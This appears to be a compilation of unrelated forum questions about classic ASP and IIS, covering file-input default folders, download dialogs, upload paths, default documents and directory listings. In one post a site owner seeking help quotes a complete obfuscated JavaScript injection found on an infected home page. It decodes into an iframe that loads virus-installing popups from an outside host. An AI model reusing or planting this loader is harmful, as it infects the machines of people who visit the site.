I have some ASP pages on my intranet site providing a helpdesk to my users. As part of logging a helpdesk call I am prompting them to link to a file using input type="file".
The file is on a network drive and the problem is when you click on the browse button it defaults to the clients desktop as the starting point of the browsing process. I would like to set a default location to start browsing eg
etwork_serverhelpdesk to avoid confusion. Does anyone know of a way to do this ?
I'm building a system where a presenter uploads a PPT to my server and then I show it to all the participants. The problem is that most of the media in the PPT is usually linked, so I'll need to upload all that too.
Assuming I can parse the PPT and figure the exact name and location of each of the media files I need from his hard-disk, is there any way I can upload all these files automatically, without having to make the user choose each of these files manually? If that's not possible, can I atleast show the user a page with a list of input boxes of type file, pre-populated with the file-path and name of the media files I need, so that the user can just click 'Submit' without having to browse and select each of them?
Please say yes. It would be a major usability crisis if my users had to keep hitting the browse button so many times for each PPT! Especially when I know exactly what files I need and where they are! I know that this has a lot to do with browser security, but there's got to be SOME way out?
I want users to pick a file from a pool (=folder) in which they should be 'locked'. I tried using this method:
<input type="file" name="image1">
Once clicked the browse button, it takes the user to a client folder. I want to take the user to the pool on the server which has the uploaded images. Is this possible?
is it possible to define a default or start up directory with input type="file" field type? If so, is it also possible to filter by another option box selection?
I wanted to write a simple page to let me choose a directory and then list the files in it. The end goal was to make an easy way to copy all the file names in a directory. I tested with Opera7, Mozilla 1.4 and IE6 -- all on windows XP Pro
Here is the code. In all three, when I select a file, the complete path is displayed in the file input box. In Opera, reading the form field gives me the same full path. But in IE and Moz I get only the filename -- none of the path information. Code:
how to dirrect the IIS installation to an other drive or how to manually move all related files to an other drive? I think I can menage the sites, but NNTP and SMTP I can't see where.
I have an asp page that produces output from a database. This allows a simple way for the user to save the data to a text file by going to File->Save as...
The default save as options always defaults to a particular filename and the save as type is always html, therefore the user has to manually type a filename and choose Text File (*.txt) as the type.
I remember I was able to overide ride these options with the following code.
I'm using a binary stream to send down a file with ASP from the web server. I've been having trouble with IE and getting it to recognize my file. I've added the filename as a paramater(?filename=file.jpgw) to handle IE's mime type mangling, but I'm still having trouble with IE's default Save As Type being HTML.
When we send down a jpgw (geo-jpeg) file IE wants to save it as an HTML file. I've got the correct filename showing in the Filename box, and if I choose the All Files option from the Save As Type drop down then the file is saved with the correct extension. I'd like to have the All Files option choosen by default. I know it's just a couple of clicks but we have some noivce users that can't seem to get that.
This is weird, I'm pretty familiar with SQL Injection - but we're getting these weird injection that is writing in the default document or home page. What it's doing is putting in script code at the top or bottom of the home page... it looks something like this:
<script>function xy1q4877d47d91a36(q4877d47d92209){ function q4877d47d929d5 () {return 16;} return (parseInt(q4877d47d92209,q4877d47d929d5()));}funct ion q4877d47d93974(q4877d47d94144){ var q4877d47d95c9b=2; var q4877d47d94d7f='';q4877d47d96c3a=String.fromCharCo de;for(q4877d47d954cc=0;q4877d47d954cc<q4877d47d94144.length;q4877d47d954cc+=q4877d47d95c 9b){ q4877d47d94d7f+=(q4877d47d96c3a(xy1q4877d47d91a36( q4877d47d94144.substr(q4877d47d954cc,q4877d47d95c9 b))));}return q4877d47d94d7f;} var q4877d47d9740a='3C7363726970743E696628216D79696129 7B646F63756D656E742E777269746528756E65736361706528 20272533632536392536362537322536312536642536352532 30253733253732253633253364253237253638253734253734 25373025336125326625326625373425373225373525363525 37322536392536652536372537342536662536652536352537 33253265253665253635253734253266253733253635253631 25373225363325363825326525363325363725363925336625 36322536312536312536372536392537322536632625323725 32622534642536312537342536382532652537322536662537 35253665253634253238253464253631253734253638253265 25373225363125366525363425366625366425323825323925 32612533352533352533352533362533372532392532622532 37253634253335253332253338253237253230253737253639 25363425373425363825336425333125333825333125323025 36382536352536392536372536382537342533642533332533 30253337253230253733253734253739253663253635253364 25323725363425363925373325373025366325363125373925 33612532302536652536662536652536352532372533652533 63253266253639253636253732253631253664253635253365 2729293B7D766172206D7969613D747275653B3C2F73637269 70743E';document.write(q4877d47d93974(q4877d47d974 0a));</script>
What it's doing is decoding itself into an iframe that links out to popups that will try and download a virus on your machine. I don't get the popup in my machine because i think i have a newer version of IE. But some people have complained that it is installing a virus on their machine.
Also what is crazy is when I replace the file with a good version. In about 30 mins, it automatically overwritten with the infected version. Also I've noticed it on some other websites that I haven't touched.
Has anyone encountered this before? Because I'm stumped as to the cause of it. I don't see the issue on our dev server. It seems to be IIS on a shared host.
I have a form on which I have a INPUT Type='Reset'. On clicking this button all the fields on the form should reset except a few. Is it possible to do this by setting some property of the control or do I have to specifically write code form that?
I am using freeaspupload to upload an image file. However, i need to grab the path that is in the text box after the client browses to the file. It looks like windows security will only give me the file name. How do i get that entire path?
i need to track the source of a page which user browses ex: aboutus.html, contactus.html in which there is a link to enquiry.php where a user fills out a form. so i need to track which page the user originally came from(aboutus.html or contactus.html)
presently i am using enquiry.php to track the previous page with the following code
i need to know what is the syntax in ASP for the above statement so that i can read the hidden value into a variable called source using Request.Form and later i can read this source variable in php
Is there a way to set the location where the input type="file" option gets its files from. I know you cannot set a default file, but is there a way to set where it starts looking.
Is it possible to get the filename, and more importantly the path, from inside an ASP file, when that file is included? I know it can be done for the base file using Server variables, but I can't figure out how to do that for an included file.
I need to write an application that uses include files, and that may be moved to another folder on the server...
if i have a link that allow user to download an application from an server, is like Code:
<a href="wss1/daemon tools.exe"></a>
after i clicked this link, i will be link to an pop up windows to specified the save path location.How do i set the save path location to a dedicated destination or file?is like when i click on the link then it will automatic without pop up and then save into that dedicated location?
I have an ASP application on IIS server: http://localhost/myApp I use ASP and a my own VB activex DLL to create a pdf file and write this file to a subfolder of the Application folder: http://localhost/myApp/pdfs
1- Over IIS I have set the "write permission" for this subfolder. But each time I receive the message: "Can't open output file (bad filename, in use by other application)", error 0x80040202
2- a visual basic test application can call this DLL, generate and write the file without problem to the folder
3- with ASP I generate the file in a normal folder (ie c: emp), it works Then my ASP page use FileSystemObject to copy this file to the folder ...MyApp/pdfs
When I call this page there is no error message, but the programm runs utils the line, where FileSystemObject to copy the file to the folder, then it stops there. The process is hung (dead). The file is not copied...
Is there a way to save a file from a remote location to my local computer with asp?
Let's say as an example that I would like to save a file from http://www.somesite.com/file.txt to c:file.txt on my pc using an asp page located either on one of the two locations?
I moved a site from a dedicated server to a shared hosting environment. On my dedicated I could specify the order of precedence for the default / index files. On the shared default.asp takes precedence of index.html and I can not change that.
Support told me to look into using a web.config file to accommodate my needs. What I need to do is have the index.html file show up first, not the default.asp Is the web.config file the route to take?
Is it possible to run an asp script to display the details (i.e. last modifed time/date) of several files held on the client and or on the server running IIS (if i map it to the folder with the files in question).
I am creating something for our intranet and i want to list the files and folders of a directory, i found some code to do this.The only problem is that it lists the asp file used to for example if i go to:"http://myserver/listing.asp" In the file listing will be "listing.asp" amongst a lot of marketing documents.Is there a way to block/stop this one file from being listed?